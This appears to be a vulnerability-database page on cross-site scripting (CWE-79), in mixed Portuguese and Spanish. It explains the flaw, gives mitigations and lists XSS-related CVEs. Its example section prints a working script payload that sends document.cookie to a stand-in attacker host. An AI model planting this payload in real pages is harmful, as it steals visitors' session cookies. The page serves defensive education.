Fallos del tipo CWE-79

29.878 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-50541MEDIUMWordPress Advanced Control Manager plugin <= 2.16.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-110073MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-33210MEDIUMWordPress nuajik CDN Plugin <= 0.1.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-9431MEDIUMmtons mblog search cross site scriptingEPSS 0.4%CVE-2023-41737MEDIUMWordPress Swifty Bar, sticky bar by WPGens Plugin <= 1.2.10 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-49248HIGHWordPress Ad Inserter plugin <= 2.7.37 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-56328MEDIUMHTMLi(XSS without CSP) via Onebox urls in DiscourseEPSS 0.4%CVE-2025-7354MEDIUMWP Shortcodes Plugin — Shortcodes Ultimate <= 7.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Plugin ShortcodesEPSS 0.4%CVE-2024-11973MEDIUMQuran multilanguage Text & Audio <= 2.3.21 - Reflected Cross-Site Scripting via sourate and lang ParametersEPSS 0.4%CVE-2023-33208MEDIUMWordPress Cookie Monster Plugin <= 1.51 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-6625MEDIUMWP Total Branding <= 1.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via title ParameterEPSS 0.4%CVE-2024-11098MEDIUMSVG Block <= 1.1.24 - Authenticated (Administrator+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.4%CVE-2023-25465MEDIUMWordPress wp tell a friend popup form Plugin <= 7.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-110081MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-38521MEDIUMWordPress Exifography Plugin <= 1.3.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-110037MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-40336MEDIUMidccms v1.35 is vulnerable to Cross Site Scripting (XSS) within the 'Image Advertising Management.'EPSS 0.4%CVE-2025-9432MEDIUMmtons mblog Admin Panel list cross site scriptingEPSS 0.4%CVE-2023-22857HIGHStored cross-site scripting in BlogEngine.NET version 3.3.8.0EPSS 0.4%CVE-2024-2753LOWConcrete CMS version 9 below 9.2.8 and below 8.5.16 is vulnerable to stored XSS on the calendar color settings screenEPSS 0.4%